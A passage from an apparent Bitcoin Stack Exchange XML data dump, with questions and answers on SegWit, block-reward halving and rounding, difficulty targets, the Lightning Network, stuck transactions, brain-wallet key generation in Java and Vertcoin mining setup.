to make Bitcoin &lt;em&gt;intrinsically&lt;/em&gt; just as volatile as gold, silver, oil, etc.&lt;/p&gt;&#xA;" OwnerUserId="34993" LastActivityDate="2016-04-22T12:49:12.993" Title="Bitcoin boom and bust - Inherent instability of Bitcoin" Tags="|blockchain|currencies|economic-theory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43812" PostTypeId="2" ParentId="43805" CreationDate="2016-04-22T12:32:12.533" Score="7" Body="&lt;p&gt;Just like a hard-fork blocksize increase SegWit  will not solve the scalability issue by itself. Either provides chiefly a fixed factor increase in capacity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SegWit is also a way to kick the can down the road, but in comparison to the hard-fork blocksize increase, it also solves other issues, doesn't require a hard-fork, and makes blocksize increases less problematic: SegWit resolves an issue where transactions require quadratic effort for verification. The problem was highlighted by the &lt;a href=&quot;http://rusty.ozlabs.org/?p=522&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;megatransaction&quot; created by f2pool last July&lt;/a&gt;. While capacity only increases linearly with bigger blocks, effort to verify blocks increases at a super-linear rate. For SegWit transactions the transaction verification takes linear effort, making bigger blocks cause less of an advantage for the author of the latest block. Hence, SegWit helps reduces centralizing pressure on mining in the face of capacity increases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On-chain scalability is always limited to linear growth anyway: For every transaction that you resolve on-chain, you need to provide the storage space on-chain. While we will be able to go down that route for a bit, it is unsustainable for large amounts of transactions and we wouldn't be able to reach e.g. the transaction counts corresponding to the payment counts of credit card companies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scalability improvements need to make better than linear use of the blockchain capacity.&lt;br&gt;&#xA;Unlike a hard-fork blocksize increase, SegWit sets the stage for further improvements in the future. One promising proposal is the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/43700/5406&quot;&gt;Lightning Network&lt;/a&gt;, which compounds numerous payments at the cost of two or three on-chain transactions. Another exciting improvement is the introduction of Schnorr signatures. Schnorr signatures are smaller than ECDSA signatures, but due to their homomorphic nature allow for both signature aggregation and key aggregation. In addition, Schnorr signatures enable the use of adaptor signatures that allow for a wide range of smartcontracts to be created with Scriptless Scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least, SegWit introduces Script versioning. This allows to specify which version of Script to use to interpret a transaction, allowing multiple versions of Script to coexist safely at the same time in the network. Script versioning allows much easier deployment of Script improvements to expunge bugs and vulnerabilities, or to add new features like Schnorr signatures.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-12-14T17:22:59.620" LastActivityDate="2017-12-14T17:22:59.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43813" PostTypeId="1" AcceptedAnswerId="43815" CreationDate="2016-04-22T12:44:55.610" Score="2" ViewCount="101" Body="&lt;p&gt;Wrote a simple script that literally just halves 50 BTC (the initial block reward).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these block rewards correct or are the satoshis being rounded up/down incorrectly?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;50.00000000&#xA;25.00000000&#xA;12.50000000&#xA;6.25000000&#xA;3.12500000&#xA;1.56250000&#xA;0.78125000&#xA;0.39062500&#xA;0.19531250&#xA;0.09765625&#xA;0.04882813&#xA;0.02441406&#xA;0.01220703&#xA;0.00610352&#xA;0.00305176&#xA;0.00152588&#xA;0.00076294&#xA;0.00038147&#xA;0.00019073&#xA;0.00009537&#xA;0.00004768&#xA;0.00002384&#xA;0.00001192&#xA;0.00000596&#xA;0.00000298&#xA;0.00000149&#xA;0.00000075&#xA;0.00000037&#xA;0.00000019&#xA;0.00000009&#xA;0.00000005&#xA;0.00000002&#xA;0.00000001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: Based on the total given here I think these halvings should be rounded down: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/9962/24926&quot;&gt;https://bitcoin.stackexchange.com/a/9962/24926&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24926" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-04-22T13:30:20.403" Title="What is the exact value of upcoming block rewards?" Tags="|mining-reward|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43814" PostTypeId="2" ParentId="43811" CreationDate="2016-04-22T12:49:12.993" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;and they eventually generate Bitcoin faster than the market demands.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This assumption doesn't apply, unfortunately. The production rate of Bitcoin is self-regulating and does not correspond to the overall mining capacity. This is due to the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5838/5406&quot;&gt;difficulty resets&lt;/a&gt; that happen every 2016 blocks which adapt the production to the network's mining capacity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when miners compete, they do so for a roughly fixed amount of new bitcoins. When one miner grows their hashrate faster than their competitors, they may get to produce a larger share of the total, but they will not be able to significantly increase the overall production.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-04-22T12:49:12.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43815" PostTypeId="2" ParentId="43813" CreationDate="2016-04-22T13:30:20.403" Score="3" Body="&lt;p&gt;The halvings occur in form of a bitshift operation. So, in other words, you halve and cut off. Therefore, the rewards should be &lt;strong&gt;rounded down&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A while back, I've generated a &lt;a href=&quot;https://docs.google.com/spreadsheets/d/12tR_9WrY0Hj4AQLoJYj9EDBzfA38XIVLQSOOOVePNm0/pubhtml?gid=0&amp;amp;single=true&quot; rel=&quot;nofollow&quot;&gt;table with block rewards and other information&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rewards in satoshi per block should work out to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5000000000&#xA;2500000000&#xA;1250000000&#xA;625000000&#xA;312500000&#xA;156250000&#xA;78125000&#xA;39062500&#xA;19531250&#xA;9765625&#xA;4882812   &amp;lt;--- first deviation from your table&#xA;2441406&#xA;1220703&#xA;610351&#xA;305175&#xA;152587&#xA;76293&#xA;38146&#xA;19073&#xA;9536&#xA;4768&#xA;2384&#xA;1192&#xA;596&#xA;298&#xA;149&#xA;74&#xA;37&#xA;18&#xA;9&#xA;4&#xA;2&#xA;1&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-04-22T13:30:20.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43816" PostTypeId="2" ParentId="43800" CreationDate="2016-04-22T20:57:40.483" Score="0" Body="&lt;p&gt;What are you setting the input's nSequence value to?&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-04-22T20:57:40.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43817" PostTypeId="1" AcceptedAnswerId="43824" CreationDate="2016-04-22T23:33:22.363" Score="2" ViewCount="321" Body="&lt;p&gt;The 2016 halving is coming from 25 to 12.5 BTC solved for every block. For us to understand the effects. What are some possible doomsday scenarios that can happen?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-04-23T11:08:37.790" LastActivityDate="2016-05-04T16:29:03.510" Title="What are the possible Doomsday scenarios for the 2016 Halving from 25 to 12.5 BTC per block solved?" Tags="|block|mining-reward|hashpower|reward-schedule|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43818" PostTypeId="1" AcceptedAnswerId="43823" CreationDate="2016-04-23T01:05:24.143" Score="8" ViewCount="314" Body="&lt;p&gt;Currently, &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty#How_is_difficulty_stored_in_blocks.3F&quot;&gt;target is stored in each block&lt;/a&gt;. Why is that? Why it is not simply computed by each client based on the previous timestamps from previous blocks? Why it has to be stored within the block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, doesn't allowing miner to choose the target remove that it is exponentially harder to create a new block? Other miners might have to mine 256 consequent blocks, but I have only to be lucky once and get one block with 8 more zeroes to replace those 256 blocks. While it is less probable, it grows linearly (256x less probable) and not exponentially.&lt;/p&gt;&#xA;" OwnerUserId="8959" LastActivityDate="2016-04-23T07:50:16.730" Title="Why is target stored in the block at all?" Tags="|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43820" PostTypeId="2" ParentId="41125" CreationDate="2016-04-23T05:15:08.343" Score="2" Body="&lt;p&gt;I'd say that with free electricity GPU mining can be worth it in some ways.  Rushing out and buying cards to build a GPU miner no longer makes sense, but with free electricity using a computer you primarily have for gaming to mine when you're not gaming will generate a tiny amount of profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another potential advantage is that if you live somewhere cold then the heat mining generates isn't a waste product.  However, any profitability goes out the window if you overdo it and melt your new graphics card, there's no way you'll earn enough to replace it.  Mining makes your GPU very hot, so if you've overclocked it you could easily destroy it.  It also wears out the cooling fans, you won't even earn the price of a new fan so is it really worth it?  Of course if curiosity rather than profit is your motive then why not?  You'll soon get sick of the noise your computer's fans make though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I myself decided to call time on GPU mining bitcoin when the mining difficulty went up to 12,000,000 as it was no longer worth it, today the mining difficulty is 178,678,307,672, almost 15000 times higher and each block is worth less too due to halving.&lt;/p&gt;&#xA;" OwnerUserId="35007" LastActivityDate="2016-04-23T05:15:08.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43823" PostTypeId="2" ParentId="43818" CreationDate="2016-04-23T07:50:16.730" Score="9" Body="&lt;p&gt;You're presenting it as a choice between either allowing miners to choose the difficulty, or having it be implied by previous history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, neither is true. The target is determined by history (for the reasons you bring up), and the target stored inside the block header &lt;strong&gt;has to&lt;/strong&gt; match the value determined by history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, there is no good reason for this anymore, and a design from scratch could IMO drop the nBits value from the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the original reason, but my guess is that it allowed for stronger contextless validation of block headers. Before version 0.10, Bitcoin Core did not use headers-first synchronization, and thus often did not have all parent headers available when a particular block was being received. Being able to verify that the block has valid PoW (even though the difficulty might be wrong) was a very valuable mechanism for preventing DoS attacks.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-04-23T07:50:16.730" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="43824" PostTypeId="2" ParentId="43817" CreationDate="2016-04-23T10:27:39.450" Score="5" Body="&lt;p&gt;I think you might be referring to the hypothesis that a large portion of the mining power would switch off right at the halving. This is theorized to kick off a chain reaction:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Lower network hash rate causes slow blocks&lt;/li&gt;&#xA;&lt;li&gt;Slow blocks increase block space competition&lt;/li&gt;&#xA;&lt;li&gt;Block space competition increases fees&lt;/li&gt;&#xA;&lt;li&gt;Increased fees push users off network to competing coins&lt;/li&gt;&#xA;&lt;li&gt;…&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin fails&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think this theory is a bit of a slippery slope:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hashrate&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More than half the hashrate has only come on-line in the past &lt;a href=&quot;https://blockchain.info/charts/hash-rate?timespan=180days&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot;&gt;half year&lt;/a&gt;. Mining companies should be well aware of the Halvening and I'd expect them to consider it in their financial planning. Some might miscalculate its effect, but it shouldn't come as a total surprise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd expect investments into mining hardware to slow down in the time before the Halvening, and mining companies to keep close watch on their revenue immediately after it. They'd first turn off the least efficient hardware, which reduces their cost the most and also has the least impact on their hashrate. Every piece of hardware that gets turned off makes the remaining hardware more profitable. It may dip, but gradually would find a new balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, some altcoin might be more profitable suddenly. Yet, as mining power switches over, competition for that altcoin's revenue gets more fierce, while the reduced hashrate in turn makes Bitcoin more profitable for the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Block space&lt;/strong&gt;&lt;br&gt;&#xA;More competition to enter the blockchain would not end the world. In some subreddits the narrative seems to be that full blocks would necessarily cause unconfirmed transactions to grow limitlessly. However, it seems much more likely that people would consider their transactions more carefully, and block space would be used more efficiently. E.g. major Bitcoin companies that do two transactions per payout would probably find a way to save some of those, mining pool minimum payouts might increase, you'd combine transactions where possible. Besides, it seems likely that SegWit would be deployed by then and block space might be less of an issue in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Competing coins&lt;/strong&gt;&lt;br&gt;&#xA;Bitcoin is the coin with the greatest security and utility. Paying premium for a feature that you don't need seems silly. If people move to other coins for low amount transactions, one or two of them might see a renaissance, but they wouldn't be able to overtake Bitcoin because they'd have all the same problems with scaling, governance, and software evolution once they get a similar amount of attention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; If the network's hashrate dips, it seems unlikely to happen instantaneously. It may decrease a bit over time. The resulting pains would incentivize more efficient behavior, but I don't see how they'd cause Bitcoin to fail.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-04-23T10:27:39.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43826" PostTypeId="2" ParentId="41203" CreationDate="2016-04-23T14:04:28.113" Score="1" Body="&lt;p&gt;Unfortunately there is no solution for that.&#xA;You could try to download the blockchain externally but, it's not recommended given that you would not verify if the content is legit.&#xA;Take a look at a specific topic related to your question&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1310261.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1310261.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26697" LastActivityDate="2016-04-23T14:04:28.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43827" PostTypeId="1" AcceptedAnswerId="43828" CreationDate="2016-04-23T23:54:52.100" Score="5" ViewCount="3236" Body="&lt;p&gt;In his recent talk, Andreas Antonopoulos said &lt;a href=&quot;https://www.youtube.com/watch?v=uLpSM3HWU6U#t=58m31s&quot; rel=&quot;noreferrer&quot;&gt;&quot;By probably the end of 2016, Bitcoin will have a hybrid proof-of-work/proof-of-stake system.&quot; and then continues to label the Lightning network as a POS system.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the Lightning network a proof-of-stake system? &lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2022-06-05T12:15:31.387" Title="Is the Lightning network a proof-of-stake system?" Tags="|proof-of-stake|lightning-network|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43828" PostTypeId="2" ParentId="43827" CreationDate="2016-04-23T23:56:26.633" Score="8" Body="&lt;p&gt;Calling the Lightning Network (LN) a Proof-of-Stake (PoS) system is orthogonal to the concept usually labeled as PoS.&lt;/p&gt;&#xA;&lt;p&gt;What we usually describe as PoS is a mechanism to achieve distributed consensus among a network of participants. Staking is hereby providing updates to the whole network's state, by which participants earn fees for contributing to the validity and the security of the network.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, there is no global consensus in the LN. The LN is a system of bilateral smart-contracts, where you may earn a fee by providing liquidity to other users. Nodes along a payment path forward payments, but even these contracts are created, verified, and executed between a small number of participants. Conflict resolution is achieved by publishing on-chain transactions which indirectly leverages the proof-of-work of the Bitcoin network. While nodes announce themselves and their channels to their peers, there is no datum on which the whole LN must agree.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;In fact, not even the two channel owners locally run a &lt;a href=&quot;https://en.wikipedia.org/wiki/Consensus_(computer_science)&quot; rel=&quot;nofollow noreferrer&quot;&gt;consensus protocol&lt;/a&gt;. If one side proposes an HTLC, the other side can accept or decline it. When the channel owners disagree on something, e.g. feerates, or collaboration breaks down in another manner, the process breaks down. They will not reconcile, but shut down the channel and disconnect rather than converging on a shared state.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2022-06-05T12:15:31.387" LastActivityDate="2022-06-05T12:15:31.387" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="43829" PostTypeId="1" CreationDate="2016-04-24T00:20:46.463" Score="3" ViewCount="4851" Body="&lt;p&gt;I am new to Bitcoin (using Bitcoin core client) and I ticked the check box that said something like &quot;send with 0 fee when possible&quot;. My transaction has been stuck in the unconfirmed status for 7 days and I don't know how to recall it to set a transaction fee. I searched Google and everything but they were guides for other Bitcoin clients and I'm scared of messing up and losing my coins. Can someone give a clear step by step on how to recall and add a transaction fee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my transaction &lt;a href=&quot;https://blockchain.info/address/19JL8rn56ZWGgqHibB4U11xqvc9pqdrykb&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/19JL8rn56ZWGgqHibB4U11xqvc9pqdrykb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35029" LastEditorDisplayName="user20707" LastEditDate="2016-10-07T08:37:19.040" LastActivityDate="2016-10-07T08:37:19.040" Title="Bitcoin transaction unconfirmed for 7 days" Tags="|bitcoin-core|transaction-fees|unconfirmed-transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43830" PostTypeId="2" ParentId="41850" CreationDate="2016-04-24T00:38:14.017" Score="3" Body="&lt;p&gt;Since transaction priority has never really been a consensus based &quot;protocol&quot;, it was never really that valuable to have it in the core code. Miners can and DO change the priority how they see fit. I see it as less code to maintain in the end and since Bitcoin is meant to be a free market network, the fees paid will prevail&lt;/p&gt;&#xA;" OwnerUserId="32685" LastActivityDate="2016-04-24T00:38:14.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43831" PostTypeId="2" ParentId="18048" CreationDate="2016-04-24T00:45:40.893" Score="3" Body="&lt;p&gt;You can do this but the advantage of HD wallets effectively diminishes. You can simply brute force by iterating over all the indices of the HD wallet until you find one that has the vanity characteristics you want. However, its possible that it is sufficiently hard enough to find that you will have to save off the private key anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire point of HD wallets is that you only need the master private key/seed to generate all your addresses. If you end up with an index that so far out from the last used address, you might not be able to find it in the future without also having saved the private key for the vanity address.&lt;/p&gt;&#xA;" OwnerUserId="32685" LastActivityDate="2016-04-24T00:45:40.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43832" PostTypeId="2" ParentId="41153" CreationDate="2016-04-24T00:49:08.130" Score="2" Body="&lt;p&gt;It's generally a good idea to hold bitcoin in a wallet you control vs exchanges like Coinbase. I wouldn't use Bitcoin Core however as that is primarily a consensus server at this point. Quite a pain to run. Check out other standalone wallets like Airbitz (disclaimer: co-founder) or Mycelium, Electrum, etc.&lt;/p&gt;&#xA;" OwnerUserId="32685" LastActivityDate="2016-04-24T00:49:08.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43833" PostTypeId="1" CreationDate="2016-04-24T01:04:12.030" Score="3" ViewCount="1238" Body="&lt;p&gt;I am trying to generate a public and private key set from a input string in Java. (Yes I am aware this can be a dangerous practice) I am using bitcoinj for a outside library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; //public key generation from private key&#xA; static String getPublicKey(byte[] privKey) {&#xA;&#xA;    Address address = new Address(MainNetParams.get(), &#xA;        Utils.sha256hash160(ECKey.fromPrivate(privKey, false).getPubKey()));&#xA;&#xA;    return address.toString();&#xA;&#xA;  }&#xA;&#xA; ///hash string to generate private key from string&#xA; static byte[] sha256(String base) {&#xA;      try{&#xA;          MessageDigest digest = MessageDigest.getInstance(&quot;SHA-256&quot;);&#xA;          byte[] hash = digest.digest(base.getBytes(&quot;UTF-8&quot;));&#xA;        return hash;&#xA;      } catch(Exception ex){&#xA;      throw new RuntimeException(ex);&#xA;      }&#xA;    }&#xA;&#xA; //encode private key as string to display&#xA; static String privToString(byte[] hash) {&#xA;&#xA;      StringBuffer hexString = new StringBuffer();&#xA;&#xA;      for (int i = 0; i &amp;lt; hash.length; i++) {&#xA;          String hex = Integer.toHexString(0xff &amp;amp; hash[i]);&#xA;          if(hex.length() == 1) hexString.append('0');&#xA;          hexString.append(hex);&#xA;      }&#xA;&#xA;      return hexString.toString();&#xA;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run the following:&#xA;Seed String: icecreampaintjob&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Public: 1KdoiXMYFn2qa8uGGiNqfrwFRDu3j2qQNA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Private: dba1e3e22415c56af772dee422add21b7382ea35f2af77852a8069d02e47ecf4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using bitaddress.org to cross verify I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Private: 5KV1o7tRK8pNqrPNYyi38nrik9r2Y85sjdgFDttnDiT1uZrQ1fj (DOESN'T MACTH) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Public: 1KdoiXMYFn2qa8uGGiNqfrwFRDu3j2qQNA (MATCHES)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="29507" LastActivityDate="2016-08-22T09:44:45.493" Title="Private Brain Key Generation and Public Address Not Matching Java" Tags="|wallet|private-key|public-key|sha256|brain-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43834" PostTypeId="2" ParentId="43684" CreationDate="2016-04-24T01:29:33.950" Score="1" Body="&lt;p&gt;A blkindex.dat error means that the block index has been corrupted or can't be opened. However, the block index is not part of the wallet, and can be deleted without removing the funds in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that in mind, try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open &lt;code&gt;%APPDATA%&lt;/code&gt; in file explorer. Do this by pressing Windows + R, then typing &lt;code&gt;%APPDATA%&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Open Roaming\Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;Make a new folder in there called 'old block files,' or something similar.&lt;/li&gt;&#xA;&lt;li&gt;Move every file in that folder except wallet.dat into the old block files folder.&lt;/li&gt;&#xA;&lt;li&gt;Optionally, delete the 'old block files' folder.&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin 0.11, and your computer will redownload the block chain. This will take a few hours.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-04-24T01:29:33.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43835" PostTypeId="2" ParentId="43833" CreationDate="2016-04-24T05:27:29.480" Score="1" Body="&lt;p&gt;As bitaddress.org BrainWallet says in its display&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Private Key (Wallet Import Format): &#xA;5KV1o7tRK8pNqrPNYyi38nrik9r2Y85sjdgFDttnDiT1uZrQ1fj &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wallet Import Format is the usual base58 armoring applied to the privatekey value with 'version' 0x80.&#xA;&lt;br&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Wallet_import_format&lt;/a&gt; or in more detail &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Base58Check_encoding&lt;/a&gt; . &#xA;This is basically a duplicate of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21259/is-there-a-way-to-generate-a-brain-wallet-from-the-command-line-or-console&quot;&gt;Is there a way to generate a brain wallet from the command line or console?&lt;/a&gt; although that uses bash+dc rather than Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not tested, but it looks to me like &lt;code&gt;VersionChecksummedBytes(0x80,bytes).toBase58()&lt;/code&gt; does this.&lt;/p&gt;&#xA;" OwnerUserId="26628" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-04-24T05:38:54.943" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="43836" PostTypeId="2" ParentId="32435" CreationDate="2016-04-24T09:27:34.697" Score="0" Body="&lt;p&gt;The mining reward is assigned to the miner by the very block he finds. This happens in the first transaction in the block, the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4571/5406&quot;&gt;Coinbase transaction&lt;/a&gt;. So, yes, there is only one mining reward given out every block, and it is currently 25BTC + fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As finding a block is a rare event, miners organize in mining pools. They pool their work, but then also share the revenue. That way, the time between finding blocks is shortened, and payouts are more frequent but smaller. Mining pools buffer miners from the variance of solo mining.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-04-24T09:27:34.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43839" PostTypeId="1" CreationDate="2016-04-24T11:59:12.650" Score="4" ViewCount="215" Body="&lt;p&gt;Segregated Witness (SegWit) is well-along the way to being implemented and deployed as a soft-fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SegWit eliminates most forms of transaction malleability.&lt;/li&gt;&#xA;&lt;li&gt;Discounts input scripts in comparison to other block content.&lt;/li&gt;&#xA;&lt;li&gt;Adds a new function/constraint to the Coinbase transaction by requiring it to contain the root of the SegWit data.&lt;/li&gt;&#xA;&lt;li&gt;Provide a capacity increase upon adoption.&lt;/li&gt;&#xA;&lt;li&gt;Makes future changes to Bitcoin Script easier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What other methods could achieve the above benefits?&lt;/li&gt;&#xA;&lt;li&gt;Why was Segregated Witness chosen instead?&lt;/li&gt;&#xA;&lt;li&gt;Is there an alternative that is less complex to introduce when regarding the complete picture, i.e. technical, economical, and social aspects?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Intent: The above is a criticism that is frequently stated in parts of the Bitcoin community, and I hope to provide an anchor for a visible collection of expertise on the matter.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-04-29T09:05:40.740" LastActivityDate="2022-11-02T13:01:30.153" Title="A common criticism of Segregated Witness is that it is &quot;unnecessarily complex&quot;. Why is it chosen over alternatives?" Tags="|script|transaction-malleability|block-size-increase|segregated-witness|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43841" PostTypeId="2" ParentId="25603" CreationDate="2016-04-24T14:08:07.520" Score="2" Body="&lt;p&gt;Download the official wallet : &lt;a href=&quot;https://vertcoin.org/wp/get-started/&quot; rel=&quot;nofollow&quot;&gt;https://vertcoin.org/wp/get-started/&lt;/a&gt;&lt;br&gt;&#xA;Then, install it and wait for full sync (aka vertcoin blockchain download)&lt;br&gt;&lt;br&gt;&#xA;During the sync, look how to build a simple appropriate &lt;code&gt;vertcoin.conf&lt;/code&gt; file &lt;br&gt;which had to be store in the appropriate vertcoin folder (&lt;code&gt;%appdata%/vertcoin&lt;/code&gt; in windows)&lt;br&gt;It basically look like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=WORKER&amp;lt;br&amp;gt;&#xA;rpcpassword=SUPERPASSWD&amp;lt;br&amp;gt;&#xA;rpcport= X // CheckDefault rpcport vertcoin&amp;lt;br&amp;gt;&#xA;daemon=1&amp;lt;br&amp;gt;&#xA;server=1&amp;lt;br&amp;gt;&#xA;listen=1&amp;lt;br&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then restart your wallet (node)&lt;br&gt;&#xA;Download the appropriate miner according to your hardware configuration &lt;a href=&quot;https://vertcoin.org/wp/mining/&quot; rel=&quot;nofollow&quot;&gt;https://vertcoin.org/wp/mining/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a batch file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sgminer -o 127.0.0.1:rpcport -u WORKER -p SUPERPASSWD 